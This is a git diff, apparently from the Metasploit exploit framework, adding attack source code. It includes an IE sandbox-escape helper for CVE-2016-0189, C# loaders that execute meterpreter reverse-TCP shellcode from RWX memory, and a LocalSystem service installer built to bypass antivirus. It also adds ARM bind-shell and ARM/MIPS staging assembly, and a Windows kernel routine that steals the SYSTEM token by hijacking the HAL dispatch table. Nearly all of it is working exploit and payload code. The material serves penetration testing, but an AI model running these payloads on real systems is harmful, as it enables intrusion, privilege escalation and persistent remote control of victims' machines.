+typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY { + HANDLE Section; + PVOID MappedBase; + PVOID ImageBase; + ULONG ImageSize; + ULONG Flags; + USHORT LoadOrderIndex; + USHORT InitOrderIndex; + USHORT LoadCount; + USHORT OffsetToFileName; + UCHAR FullPathName[256]; +} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY; + +typedef struct _RTL_PROCESS_MODULES { + ULONG NumberOfModules; + SYSTEM_MODULE_INFORMATION_ENTRY Modules[1]; +} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; + +typedef struct { + ULONG pad1[12]; + DWORD addrPtr; + ULONG pad2[14]; + DWORD evilAddr; +} BAD_DEVICE_OBJECT, *PBAD_DEVICE_OBJECT; + + + + + diff --git a/external/source/exploits/cve-2016-0189/ielocalserver.cpp b/external/source/exploits/cve-2016-0189/ielocalserver.cpp new file mode 100644 index 0000000000..4e90beab69 --- /dev/null +++ b/external/source/exploits/cve-2016-0189/ielocalserver.cpp @@ -0,0 +1,183 @@ +/* +From: https://gist.github.com/worawit/1213febe36aa8331e092 + +Simple local HTTP server for IE (with no AppContainer) privilege escalation. + +I implemented local server instead of proxy in Ref because +local server is easier to code. But local server is less useful then proxy. + +Ref: +http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/There-s-No-Place-Like-Localhost-A-Welcoming-Front-Door-To-Medium/ba-p/6560786#.U9v5smN5FHb + +Note: +From my test, by default IE does not configure intranet site. +With this default, localhost is treated as internet site (run as low integrity). +*/ +#define _CRT_SECURE_NO_WARNINGS +#define WIN32_LEAN_AND_MEAN +#include +#include +#include + +#pragma comment(lib, "ws2_32.lib") + +#define SERVER_PORT 5555 + +static HANDLE hThread = NULL; + +static WCHAR stage2file[256]; + +static SOCKET serverSk = INVALID_SOCKET; +static SOCKET peerSk = INVALID_SOCKET; + +static SOCKET create_server() +{ + struct sockaddr_in skAddr; + SOCKET sk; + int optval; + + sk = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + if (sk == INVALID_SOCKET) + return INVALID_SOCKET; + + optval = 1; + setsockopt(sk, SOL_SOCKET, SO_REUSEADDR, (char*) &optval, sizeof(optval)); + + memset(&skAddr, 0, sizeof(skAddr)); + skAddr.sin_family = AF_INET; + skAddr.sin_port = htons(SERVER_PORT); + skAddr.sin_addr.s_addr = inet_addr("127.0.0.1"); + + if (bind(sk, (struct sockaddr *) &skAddr, sizeof(skAddr)) != 0) + goto on_error; + + if (listen(sk, 5) != 0) + goto on_error; + + return sk; + +on_error: + closesocket(sk); + return SOCKET_ERROR; +} + +static int send_all(SOCKET sk, char *buffer, int size) +{ + int len; + while (size > 0) { + len = send(sk, buffer, size, 0); + if (len <= 0) + return 0; + buffer += len; + size -= len; + } + + return 1; +} + +static int local_server() +{ + int len; + int totalSize; + char buffer[4096]; + HANDLE hFile = INVALID_HANDLE_VALUE; + + serverSk = create_server(); + if (serverSk == INVALID_SOCKET) + return SOCKET_ERROR; + + while (1) { + peerSk = accept(serverSk, NULL, NULL); + if (peerSk == INVALID_SOCKET) { + continue; + } + + len = recv(peerSk, buffer, sizeof(buffer), 0); + if (len <= 0) + goto closepeer; + + hFile = CreateFile(stage2file, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + if (hFile == INVALID_HANDLE_VALUE) + break; + + totalSize = GetFileSize(hFile, NULL); + if (totalSize == INVALID_FILE_SIZE) + break; + + len = _snprintf(buffer, sizeof(buffer), + "HTTP/1.1 200 OK\r\n" + "Content-Type: text/html\r\n" + "Connection: Close\r\n" + "Content-Length: %d\r\n" + "\r\n", + totalSize + ); + send_all(peerSk, buffer, len); + + while (totalSize > 0) { + ReadFile(hFile, buffer, sizeof(buffer), (DWORD*) &len, NULL); + send_all(peerSk, buffer, len); + totalSize -= len; + } + CloseHandle(hFile); + hFile = INVALID_HANDLE_VALUE; + +closepeer: + closesocket(peerSk); + peerSk = INVALID_SOCKET; + } + + if (hFile != INVALID_HANDLE_VALUE) { + CloseHandle(hFile); + } + if (peerSk != INVALID_SOCKET) { + closesocket(peerSk); + peerSk = INVALID_SOCKET; + } + if (serverSk != INVALID_SOCKET) { + closesocket(serverSk); + serverSk = INVALID_SOCKET; + } + + return 0; +} + +DWORD WINAPI threadProc(void *param) +{ + WSADATA wsaData; + WSAStartup(MAKEWORD(2 ,2), &wsaData); + + local_server(); + + WSACleanup(); + + DeleteFile(stage2file); + return 0; +} + +void do_work() +{ + GetEnvironmentVariableW(L"stage2file", stage2file, sizeof(stage2file)); + + hThread = CreateThread(NULL, 0, threadProc, NULL, 0, NULL); +} + +BOOL APIENTRY DllMain( HMODULE hModule, + DWORD ul_reason_for_call, + LPVOID lpReserved + ) +{ + switch (ul_reason_for_call) + { + case DLL_PROCESS_ATTACH: + do_work(); + break; + case DLL_PROCESS_DETACH: + if (hThread) { + WaitForSingleObject(hThread, INFINITE); + CloseHandle(hThread); + } + break; + } + return TRUE; +} diff --git a/external/source/exploits/cve-2016-0189/ieshell32.cpp b/external/source/exploits/cve-2016-0189/ieshell32.cpp new file mode 100644 index 0000000000..9f7bb84090 --- /dev/null +++ b/external/source/exploits/cve-2016-0189/ieshell32.cpp @@ -0,0 +1,39 @@ +/* +From: https://gist.github.com/worawit/1213febe36aa8331e092 + +Fake shell32.dll to be loaded after modified %SystemRoot% +*/ +#define WIN32_LEAN_AND_MEAN +#include + +static void do_work() +{ + WCHAR envBuffer[256]; + + GetEnvironmentVariableW(L"SaveSystemRoot", envBuffer, sizeof(envBuffer)); + // restore system root + SetEnvironmentVariableW(L"SystemRoot", envBuffer); + //SetEnvironmentVariableW(L"SaveSystemRoot", NULL); + + GetEnvironmentVariableW(L"MyDllPath", envBuffer, sizeof(envBuffer)); + SetEnvironmentVariableW(L"MyDllPath", NULL); + + // shell32.dll will be unloaded, use another dll + LoadLibraryExW(envBuffer, NULL, LOAD_WITH_ALTERED_SEARCH_PATH); +} + +BOOL APIENTRY DllMain( HMODULE hModule, + DWORD ul_reason_for_call, + LPVOID lpReserved + ) +{ + switch (ul_reason_for_call) + { + case DLL_PROCESS_ATTACH: + do_work(); + break; + case DLL_PROCESS_DETACH: + break; + } + return TRUE; +} diff --git a/external/source/exploits/make.bat b/external/source/exploits/make.bat index 53aaf45e4e..bf05a67591 100755 --- a/external/source/exploits/make.bat +++ b/external/source/exploits/make.bat @@ -92,6 +92,13 @@ IF "%ERRORLEVEL%"=="0" ( POPD ) +IF "%ERRORLEVEL%"=="0" ( + ECHO "Building CAPCOM.SYS Driver exec" + PUSHD capcom_sys_exec + msbuild.exe make.msbuild /target:%PLAT% + POPD +) + FOR /F "usebackq tokens=1,2 delims==" %%i IN (`wmic os get LocalDateTime /VALUE 2^>NUL`) DO IF '.%%i.'=='.LocalDateTime.' SET LDT=%%j SET LDT=%LDT:~0,4%-%LDT:~4,2%-%LDT:~6,2% %LDT:~8,2%:%LDT:~10,2%:%LDT:~12,6% echo Finished %ldt% diff --git a/external/source/psh_exe/dot_net_exe.cs b/external/source/psh_exe/dot_net_exe.cs new file mode 100644 index 0000000000..4ee507d3e4 --- /dev/null +++ b/external/source/psh_exe/dot_net_exe.cs @@ -0,0 +1,86 @@ +using System; +using System.Runtime.InteropServices; + +namespace Wrapper +{ + class Program + { + [Flags] + public enum AllocationType : uint + { + COMMIT = 0x1000, + RESERVE = 0x2000, + RESET = 0x80000, + LARGE_PAGES = 0x20000000, + PHYSICAL = 0x400000, + TOP_DOWN = 0x100000, + WRITE_WATCH = 0x200000 + } + + [Flags] + public enum MemoryProtection : uint + { + EXECUTE = 0x10, + EXECUTE_READ = 0x20, + EXECUTE_READWRITE = 0x40, + EXECUTE_WRITECOPY = 0x80, + NOACCESS = 0x01, + READONLY = 0x02, + READWRITE = 0x04, + WRITECOPY = 0x08, + GUARD_Modifierflag = 0x100, + NOCACHE_Modifierflag = 0x200, + WRITECOMBINE_Modifierflag = 0x400 + } + + public enum FreeType : uint + { + MEM_DECOMMIT = 0x4000, + MEM_RELEASE = 0x8000 + } + + [DllImport("kernel32.dll", SetLastError = true)] + static extern IntPtr VirtualAlloc(IntPtr lpAddress, UIntPtr dwSize, AllocationType flAllocationType, MemoryProtection flProtect); + + [DllImport("kernel32.dll")] + public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); + + [DllImport("kernel32")] + private static extern bool VirtualFree(IntPtr lpAddress, UInt32 dwSize, FreeType dwFreeType); + + [UnmanagedFunctionPointerAttribute(CallingConvention.Cdecl)] + public delegate Int32 ExecuteDelegate(); + + static void Main() + { + // msfpayload windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT= LHOST= R| msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX + string shellcode = "MSF_PAYLOAD_SPACE"; + + + byte[] sc = new byte[shellcode.Length]; + + for (int i = 0; i < shellcode.Length; i++) + { + sc[i] = Convert.ToByte(shellcode[i]); + } + + // Allocate RWX memory for the shellcode + IntPtr baseAddr = VirtualAlloc(IntPtr.Zero, (UIntPtr)(sc.Length + 1), AllocationType.RESERVE | AllocationType.COMMIT, MemoryProtection.EXECUTE_READWRITE); + + try + { + // Copy shellcode to RWX buffer + Marshal.Copy(sc, 0, baseAddr, sc.Length); + + // Get pointer to function created in memory + ExecuteDelegate del = (ExecuteDelegate)Marshal.GetDelegateForFunctionPointer(baseAddr, typeof(ExecuteDelegate)); + + del(); + } + finally + { + VirtualFree(baseAddr, 0, FreeType.MEM_RELEASE); + } + } + } +} \ No newline at end of file diff --git a/external/source/psh_exe/dot_net_service.cs b/external/source/psh_exe/dot_net_service.cs new file mode 100644 index 0000000000..797ffbd51e --- /dev/null +++ b/external/source/psh_exe/dot_net_service.cs @@ -0,0 +1,221 @@ + +using System; +using System.ComponentModel; +using System.Configuration.Install; +using System.Net; +using System.Net.Sockets; +using System.Runtime.InteropServices; +using System.ServiceProcess; +using System.Threading; +using System.Timers; +using Timer = System.Timers.Timer; + +namespace Wrapper +{ + class Program : ServiceBase + { + #region Fields + + private static Timer _timer; + + #endregion + + #region PInvoke Setup + + [Flags] + public enum AllocationType : uint + { + COMMIT = 0x1000, + RESERVE = 0x2000, + RESET = 0x80000, + LARGE_PAGES = 0x20000000, + PHYSICAL = 0x400000, + TOP_DOWN = 0x100000, + WRITE_WATCH = 0x200000 + } + + [Flags] + public enum MemoryProtection : uint + { + EXECUTE = 0x10, + EXECUTE_READ = 0x20, + EXECUTE_READWRITE = 0x40, + EXECUTE_WRITECOPY = 0x80, + NOACCESS = 0x01, + READONLY = 0x02, + READWRITE = 0x04, + WRITECOPY = 0x08, + GUARD_Modifierflag = 0x100, + NOCACHE_Modifierflag = 0x200, + WRITECOMBINE_Modifierflag = 0x400 + } + + public enum FreeType : uint + { + MEM_DECOMMIT = 0x4000, + MEM_RELEASE = 0x8000 + } + + [DllImport("kernel32.dll", SetLastError = true)] + static extern IntPtr VirtualAlloc(IntPtr lpAddress, UIntPtr dwSize, AllocationType flAllocationType, MemoryProtection flProtect); + + [DllImport("kernel32.dll")] + public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); + + [DllImport("kernel32")] + private static extern bool VirtualFree(IntPtr lpAddress, UInt32 dwSize, FreeType dwFreeType); + + [UnmanagedFunctionPointerAttribute(CallingConvention.Cdecl)] + public delegate Int32 ExecuteDelegate(); + + #endregion + + #region Constructors + + public Program() + { + ServiceName = "MsfDynSvc"; + _timer = new Timer + { + Interval = 20000 // 20 seconds + }; + _timer.Elapsed += RunShellCode; + _timer.AutoReset = true; + } + + #endregion + + #region ServiceBase Methods + + protected override void OnStart(string[] args) + { + base.OnStart(args); + _timer.Start(); + } + + protected override void OnStop() + { + base.OnStop(); + _timer.Stop(); + } + + #endregion + + static void Main() + { + Run(new Program()); + } + + private void RunShellCode(object sender, ElapsedEventArgs e) + { + _timer.Stop(); + + // only run shellcode if you can connect to localhost:445, due to endpoint protections + if (ConnectToLocalhost(445)) + { + try + { + // msfpayload windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT= LHOST= R| msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX + string shellcode = "MSF_PAYLOAD_SPACE"; + + byte[] sc = new byte[shellcode.Length]; + + for (int i = 0; i < shellcode.Length; i++) + { + sc[i] = Convert.ToByte(shellcode[i]); + } + + // Allocate RWX memory for the shellcode + IntPtr baseAddr = VirtualAlloc(IntPtr.Zero, (UIntPtr)(sc.Length + 1), AllocationType.RESERVE | AllocationType.COMMIT, MemoryProtection.EXECUTE_READWRITE); + System.Diagnostics.Debug.Assert(baseAddr != IntPtr.Zero, "Error: Couldn't allocate remote memory"); + + try + { + // Copy shellcode to RWX buffer + Marshal.Copy(sc, 0, baseAddr, sc.Length); + + // Get pointer to function created in memory + ExecuteDelegate del = (ExecuteDelegate)Marshal.GetDelegateForFunctionPointer(baseAddr, typeof(ExecuteDelegate)); + + // Run this in a separate thread, so that we can wait for it to die before continuing the timer + Thread thread = new Thread(() => del()); + + thread.Start(); + thread.Join(); // Joins it to the main thread, so that when it ends, execution will continue with main thread + } + catch + { + // If the shellcode crashes, try to catch the crash here + } + finally + { + VirtualFree(baseAddr, 0, FreeType.MEM_RELEASE); + } + } + catch + { + // Eat it + } + } + _timer.Start(); + } + + private static bool ConnectToLocalhost(int port) + { + IPAddress localhost = IPAddress.Parse("127.0.0.1"); + TcpClient tcpClient = new TcpClient(); + + bool isSuccess = false; + + try + { + tcpClient.Connect(localhost, port); + isSuccess = true; + } + catch + { + // I know this is bad code-fu, but just eat the error + } + finally + { + if (tcpClient.Connected) + { + tcpClient.Close(); + } + } + + return isSuccess; + } + + } + + [RunInstaller(true)] + public class DotNetAVBypassServiceInstaller : Installer + { + public DotNetAVBypassServiceInstaller() + { + var processInstaller = new ServiceProcessInstaller(); + var serviceInstaller = new ServiceInstaller(); + + //set the privileges + processInstaller.Account = ServiceAccount.LocalSystem; + + serviceInstaller.DisplayName = "MsfDynSvc"; + serviceInstaller.StartType = ServiceStartMode.Automatic; + + //must be the same as what was set in Program's constructor + serviceInstaller.ServiceName = "MsfDynSvc"; + + Installers.Add(processInstaller); + Installers.Add(serviceInstaller); + } + + public override void Install(System.Collections.IDictionary stateSaver) + { + base.Install(stateSaver); + ServiceController controller = new ServiceController("MsfDynSvc"); // Make sure this name matches the service name! + controller.Start(); + } + } +} + diff --git a/external/source/psh_exe/dot_net_unsafe.cs b/external/source/psh_exe/dot_net_unsafe.cs new file mode 100644 index 0000000000..68f3e77d3b --- /dev/null +++ b/external/source/psh_exe/dot_net_unsafe.cs @@ -0,0 +1,36 @@ +using System; +using System.Reflection; + +namespace Shellcode +{ + class MainClass + { + public delegate uint Ret1ArgDelegate(uint arg1); + static uint PlaceHolder1(uint arg1) { return 0; } + + unsafe static void Main(string[] args) + { + string shellcode = "MSF_PAYLOAD_SPACE"; + byte[] asmBytes = new byte[shellcode.Length]; + for (int i = 0; i < shellcode.Length; i++) + { + asmBytes[i] = Convert.ToByte(shellcode[i]); + } + fixed(byte* startAddress = &asmBytes[0]) // Take the address of our x86 code + { + // Get the FieldInfo for "_methodPtr" + Type delType = typeof(Delegate); + FieldInfo _methodPtr = delType.GetField("_methodPtr", BindingFlags.NonPublic | BindingFlags.Instance); + + // Set our delegate to our x86 code + Ret1ArgDelegate del = new Ret1ArgDelegate(PlaceHolder1); + _methodPtr.SetValue(del, (IntPtr)startAddress); + + // Enjoy + uint n = (uint)0xdecafbad; + n = del(n); + Console.WriteLine("{0:x}", n); + } + } + } +} diff --git a/external/source/shellcode/linux/armbe/single_sock_bind.s b/external/source/shellcode/linux/armbe/single_sock_bind.s new file mode 100644 index 0000000000..dfcce490dc --- /dev/null +++ b/external/source/shellcode/linux/armbe/single_sock_bind.s @@ -0,0 +1,117 @@ +@@ +@ +@ Name: single_sock_bind +@ Qualities: - +@ Authors: Balazs Bucsay <@xoreipeip> +@ License: MSF_LICENSE +@ Description: +@ +@ Implementation of a Linux bind TCP shellcode for ARM BE architecture. +@ +@ Assemble with: +@ armeb-buildroot-linux-uclibcgnueabi-as -mthumb single_sock_bind.s -o shellcode.o +@ Link with: +@ armeb-buildroot-linux-uclibcgnueabi-ld shellcode.o -o shellcode +@ +@ Meta-Information: +@ +@ meta-shortname=Linux Bind TCP +@ meta-description=Listen on a port for a connection and run a second stage +@ meta-authors=earthquake +@ meta-os=linux +@ meta-arch=armbe +@ meta-category=singles +@ meta-connection-type=bind +@ meta-name=bind_tcp +@@ + + +.section .text + .global _start + + _start: + .code 32 + +@ Thumb-Mode on + add r6, pc, #1 + bx r6 + .code 16 + +@ _socket(2,1,0) + sub r2, r2, r2 + add r1, r2, #1 + add r0, r2, #2 + lsl r7, r1, #8 + add r7, r7, #0x19 + svc 1 + mov r6, r0 + +@ 1 uint8_t sin_len +@ 1 sa_family_t sin_family +@ 2 in_port_t sin_port +@ 4 struct in_addr sin_addr +@ 8 char sin_zero [8] +@ 00 02 5C11 00000000 00000000 00000000 +@ 5c11 => 4444 +@ _bind() + mov r2, #2 + lsl r2, r2, #8 + add r2, r2, #0x11 + lsl r2, r2, #8 + add r2, r2, #0x5C + sub r3, r3, r3 + sub r4, r4, r4 + sub r5, r5, r5 + mov r1, sp + stm r1!, {r2-r5} + sub r1, #0x10 + mov r2, #16 + add r7, r7, #1 + svc 1 + +@ _listen() + mov r0, r6 + sub r1, r1, r1 + add r7, r7, #2 + svc 1 + +@ _accept() + mov r0, r6 + sub r2, r2, r2 + add r7, r7, #1 + svc 1 + mov r6, r0 + +@ _dup2() + sub r1, r1, r1 + mov r7, #63 + svc 1 + + mov r0, r6 + add r1, r1, #1 + svc 1 + + mov r0, r6 + add r1, r1, #1 + svc 1 + + _execve() + sub r2, r2, r2 + mov r0, pc + add r0, #18 +@ next intstruction terminates the string beneath the code "//bin/sh" +@ in case you want to say goodbye to the null character +@ str r2, [r0, #8] + str r2, [sp, #8] + str r0, [sp, #4] + add r1, sp, #4 + mov r7, #11 + svc 1 + +@ _exit() + sub r4, r4, r4 + mov r0, r4 + mov r7, #1 + svc 1 +.ascii "//bin/sh\0" +@.ascii "//bin/sh" diff --git a/external/source/shellcode/linux/armle/stage_mettle.s b/external/source/shellcode/linux/armle/stage_mettle.s new file mode 100644 index 0000000000..eb01c30fdc --- /dev/null +++ b/external/source/shellcode/linux/armle/stage_mettle.s @@ -0,0 +1,51 @@ +.global _start + +@ Required symbols: +@ SIZE: size of the final payload +@ ENTRY: entry point offset from the start of the process image + +.text +_start: + @ mmap the space for the mettle image + mov r0, #0 @ address doesn't matter + ldr r1, =SIZE @ more than 12-bits + mov r2, #7 @ PROT_READ | PROT_WRITE | PROT_EXECUTE + mov r3, #34 @ MAP_PRIVATE | MAP_ANONYMOUS + mov r4, #0 @ no file + mov r5, #0 @ no offset + + mov r7, #192 @ syscall: mmap2 + svc #0 + + @ recv the process image + @ r12 contains our socket from the reverse stager + mov r2, r1 @ recv the whole thing (I, too, like to live dangerously) + mov r1, r0 @ move the mmap to the recv buffer + mov r0, r12 @ set the fd + mov r3, #0x100 @ MSG_WAITALL + + ldr r7, =#291 @ syscall: recv + svc #0 + + @ set up the initial stack + @ The final stack must be aligned, so we align and then make room backwards + @ by _adding_ to sp. + and sp, #-16 @ Align + add sp, #36 + 4 @ Add room for initial stack and prog name + mov r4, #109 @ "m" (0,0,0,109) + push {r4} @ On the stack + mov r4,#2 @ ARGC + mov r5,sp @ ARGV[0] char *prog_name + mov r6,r12 @ ARGV[1] int socket fd + mov r7,#0 @ (NULL) + mov r8,#0 @ (NULL) (Ending ENV) + mov r9,#7 @ AT_BASE + mov r10,r1 @ mmap'd address + mov r11,#0 @ AT_NULL + mov r12,#0 + push {r4-r12} + + @ hack the planet + ldr r0, =ENTRY + add r0, r1 + bx r0 diff --git a/external/source/shellcode/linux/mips/stage_mettle.s b/external/source/shellcode/linux/mips/stage_mettle.s new file mode 100644 index 0000000000..c41e813048 --- /dev/null +++ b/external/source/shellcode/linux/mips/stage_mettle.s @@ -0,0 +1,59 @@ +.global __start + +# Required symbols: +# SIZE: size of the final payload +# ENTRY: entry point offset from the start of the process image + +.text +___start: + # mmap the space for the mettle image + move $a0, $zero # address doesn't matter + li $a1, SIZE # more than 16-bits + li $a2, 7 # PROT_READ | PROT_WRITE | PROT_EXECUTE + li $a3, 0x802 # MAP_PRIVATE | MAP_ANONYMOUS + + sw $0, 16($sp) # Dumb O32 ABI + sw $0, 20($sp) + + li $v0, 4090 # syscall: mmap + syscall + + # recv the process image + # s2 contains our socket from the reverse stager + move $a2, $a1 # recv the whole thing (I, too, like to live dangerously) + move $a1, $v0 # move the mmap to the recv buffer + move $a0, $s2 # set the fd + li $a3, 0x100 # MSG_WAITALL + + li $v0, 4175 # syscall: recv + syscall + + # set up the initial stack + # The final stack must be aligned, so we align and then make room backwards + # by _adding_ to sp. + and $sp, $sp, -8 # Align + li $t4, 0x6d00006d # BE/LE anagram of "m" (109, 0) + sw $t4, 44($sp) # On the stack + + # Initial program stack: + li $t5, 2 # ARGC + sw $t5, 0($sp) + addi $t6, $sp, 44 # ARGV[0] char *prog_name + sw $t6, 4($sp) + sw $s2, 8($sp) # ARGV[1] int socket fd + sw $0, 12($sp) # (NULL) + sw $0, 16($sp) # (NULL) (Ending ENV) + li $t7, 7 # AT_BASE + sw $t7, 20($sp) + sw $a1, 24($sp) # mmap'd address + li $t8, 6 # AT_PAGESZ + sw $t8, 28($sp) + li $t9, 0x1000 # 4k + sw $t9, 32($sp) + sw $0, 36($sp) # AT_NULL + sw $0, 40($sp) + + # hack the planet + li $s0, ENTRY + add $s0, $s0, $a1 + jr $s0 diff --git a/external/source/win_kernel_common/kernel.c b/external/source/win_kernel_common/kernel.c new file mode 100755 index 0000000000..070acf3322 --- /dev/null +++ b/external/source/win_kernel_common/kernel.c @@ -0,0 +1,274 @@ +#include +#include "windefs.h" +#include "kernel.h" +#include + +#define SYSTEM_PID 4 +#define DRIVER_COUNT 1024 + +typedef NTSTATUS(NTAPI*PLOOKUPPROCESSBYID)(HANDLE processId, PVOID process); +typedef PACCESS_TOKEN(NTAPI*PREFPRIMARYTOKEN)(PVOID process); +typedef NTSTATUS(WINAPI*PNTQUERYSYSTEMINFORMATION)(SYSTEM_INFORMATION_CLASS sysInfoClass, PVOID sysInfo, ULONG sysInfoLength, PULONG returnLength); +typedef NTSTATUS(WINAPI*PNTQUERYINTERVALPROFILE)(DWORD profileSource, PULONG interval); + +static ULONG_PTR g_pHalDispatch = 0L; +static PLOOKUPPROCESSBYID g_pLookupProcessById = NULL; +static PREFPRIMARYTOKEN g_pRefPrimaryToken = NULL; +static DWORD g_currentPid = 0; +static DWORD g_replaced = FALSE; + +static NTSTATUS WINAPI NtQueryIntervalProfile(DWORD profileSource, PULONG interval) +{ + static PNTQUERYINTERVALPROFILE pNtQueryIntervalProfile = NULL; + + if (pNtQueryIntervalProfile == NULL) + { + pNtQueryIntervalProfile = (PNTQUERYINTERVALPROFILE)GetProcAddress(GetModuleHandle(TEXT("ntdll")), "NtQueryIntervalProfile"); + } + + return pNtQueryIntervalProfile(profileSource, interval); +} + +static NTSTATUS WINAPI NtQuerySystemInformation(SYSTEM_INFORMATION_CLASS sysInfoClass, PVOID sysInfo, ULONG sysInfoLength, PULONG returnLength) +{ + static PNTQUERYSYSTEMINFORMATION pNtQuerySystemInformation = NULL; + + if (pNtQuerySystemInformation == NULL) + { + pNtQuerySystemInformation = (PNTQUERYSYSTEMINFORMATION)GetProcAddress(GetModuleHandle(TEXT("ntdll")), "NtQuerySystemInformation"); + } + + return pNtQuerySystemInformation(sysInfoClass, sysInfo, sysInfoLength, returnLength); +} + +static PVOID get_system_info(SYSTEM_INFORMATION_CLASS infoClass) +{ + ULONG size = 0x100; + const ULONG maxSize = size << 10; + PVOID buffer = NULL; + NTSTATUS status = STATUS_INFO_LENGTH_MISMATCH; + ULONG memIO = 0; + + while (status == STATUS_INFO_LENGTH_MISMATCH && maxSize > size) + { + buffer = buffer == NULL ? HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, size) : HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, buffer, size); + status = NtQuerySystemInformation(infoClass, buffer, size, &memIO); + size = size << 1; + } + + if (NT_SUCCESS(status)) + { + return buffer; + } + + if (buffer != NULL) + { + HeapFree(GetProcessHeap(), 0, buffer); + } + + return NULL; +} + +static VOID find_and_replace_member(PDWORD_PTR pStruct, DWORD_PTR currentValue, DWORD_PTR newValue, DWORD_PTR maxSize) +{ + DWORD_PTR mask = ~(sizeof(DWORD_PTR) == sizeof(DWORD) ? 7 : 0xf); + g_replaced = FALSE; + + for (DWORD_PTR i = 0; i < maxSize; ++i) + { + if (((pStruct[i] ^ currentValue) & mask) == 0) + { + pStruct[i] = newValue; + g_replaced = TRUE; + return; + } + } +} + +BOOL is_driver_loaded(wchar_t* driverName) +{ + // start by finding out how big the buffer size needs to be: + LPVOID derp = 0; + DWORD sizeNeeded = 0; + BOOL result = FALSE; + + // determine the size required first + EnumDeviceDrivers(&derp, sizeof(derp), &sizeNeeded); + + LPVOID* driverList = (LPVOID*)malloc(sizeNeeded); + + if (EnumDeviceDrivers(driverList, sizeNeeded, &sizeNeeded)) + { + wchar_t driver[MAX_PATH]; + DWORD driverCount = sizeNeeded / sizeof(LPVOID); + + for (DWORD i = 0; i < driverCount; ++i) + { + if (GetDeviceDriverBaseNameW(driverList[i], driver, MAX_PATH) + && _wcsicmp(driver, driverName) == 0) + { + result = TRUE; + break; + } + } + } + + free(driverList); + + return result; +} + +// Simple wrapper over the steal_process_token that takes the four arguments used by the function we +// overwrite in the HAL dispatch +VOID hal_dispatch_steal_process_token(DWORD_PTR arg1, DWORD_PTR arg2, DWORD_PTR arg3, DWORD_PTR arg4) +{ + steal_process_token(); +} + +VOID steal_process_token() +{ + LPVOID currentProcessInfo = NULL; + LPVOID systemProcessInfo = NULL; + + g_pLookupProcessById((HANDLE)g_currentPid, ¤tProcessInfo); + g_pLookupProcessById((HANDLE)SYSTEM_PID, &systemProcessInfo); + + PACCESS_TOKEN targetToken = g_pRefPrimaryToken(currentProcessInfo); + PACCESS_TOKEN systemToken = g_pRefPrimaryToken(systemProcessInfo); + + find_and_replace_member((PDWORD_PTR)currentProcessInfo, (DWORD_PTR)targetToken, (DWORD_PTR)systemToken, 0x200); +} + +BOOL prepare_for_kernel() +{ + BOOL result = FALSE; + PRTL_PROCESS_MODULES procModules = NULL; + CHAR fullKernelPath[MAX_PATH * 2 + 1] = { 0 }; + PVOID mappedKernel = NULL; + + do + { + procModules = get_system_info(SystemModuleInformation); + if (procModules == NULL || procModules->NumberOfModules == 0) + { + break; + } + + UINT length = GetSystemDirectoryA(fullKernelPath, MAX_PATH); + fullKernelPath[length] = '\\'; + + const char* firstModule = (const char*)&procModules->Modules[0].FullPathName[procModules->Modules[0].OffsetToFileName]; + strcat_s(fullKernelPath, MAX_PATH, firstModule); + + ULONG_PTR kernelBase = (ULONG_PTR)procModules->Modules[0].ImageBase; + mappedKernel = LoadLibraryExA(fullKernelPath, NULL, DONT_RESOLVE_DLL_REFERENCES); + if (mappedKernel == NULL) + { + break; + } + + ULONG_PTR funcAddr = (ULONG_PTR)GetProcAddress(mappedKernel, "PsLookupProcessByProcessId"); + + if (funcAddr == 0L) + { + break; + } + + g_pLookupProcessById = (PLOOKUPPROCESSBYID)(kernelBase + funcAddr - (ULONG_PTR)mappedKernel); + + funcAddr = (ULONG_PTR)GetProcAddress(mappedKernel, "PsReferencePrimaryToken"); + + if (funcAddr == 0L) + { + break; + } + + g_pRefPrimaryToken = (PREFPRIMARYTOKEN)(kernelBase + funcAddr - (ULONG_PTR)mappedKernel); + + funcAddr = (ULONG_PTR)GetProcAddress(mappedKernel, "HalDispatchTable"); + + if (funcAddr != 0L) + { + g_pHalDispatch = kernelBase + funcAddr - (ULONG_PTR)mappedKernel; + } + + g_currentPid = GetCurrentProcessId(); + + result = TRUE; + } while (0); + + if (mappedKernel != NULL) + { + FreeLibrary(mappedKernel); + } + + if (procModules != NULL) + { + HeapFree(GetProcessHeap(), 0, procModules); + } + + return result; +} + +BOOL was_token_replaced() +{ + return g_replaced; +} + +ULONG_PTR get_hal_dispatch_pointer() +{ + return g_pHalDispatch + sizeof(ULONG_PTR); +} + +VOID invoke_hal_dispatch_pointer() +{ + ULONG ignored; + NtQueryIntervalProfile(1234, &ignored); +} + +DWORD get_page_size() +{ + static DWORD pageSize = 0; + if (pageSize == 0) + { + SYSTEM_INFO si; + GetSystemInfo(&si); + pageSize = si.dwPageSize; + } + return pageSize; +} + +BOOL create_anon_mapping(MemMapping* memMap) +{ + memMap->mapping = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_READWRITE, 0, get_page_size(), NULL); + if (memMap->mapping == NULL) + { + return FALSE; + } + + memMap->buffer = (LPBYTE)MapViewOfFile(memMap->mapping, FILE_MAP_ALL_ACCESS, 0, 0, get_page_size()); + if (memMap->buffer == NULL) + { + destroy_anon_mapping(memMap); + return FALSE; + } + + return TRUE; +} + +VOID destroy_anon_mapping(MemMapping* memMap) +{ + if (memMap != NULL) + { + if (memMap->buffer) + { + UnmapViewOfFile(memMap->buffer); + memMap->buffer = NULL; + } + if (memMap->mapping != NULL) + { + CloseHandle(memMap->mapping); + memMap->mapping = NULL; + } + } +} \ No newline at end of file diff --git a/external/source/win_kernel_common/kernel.h 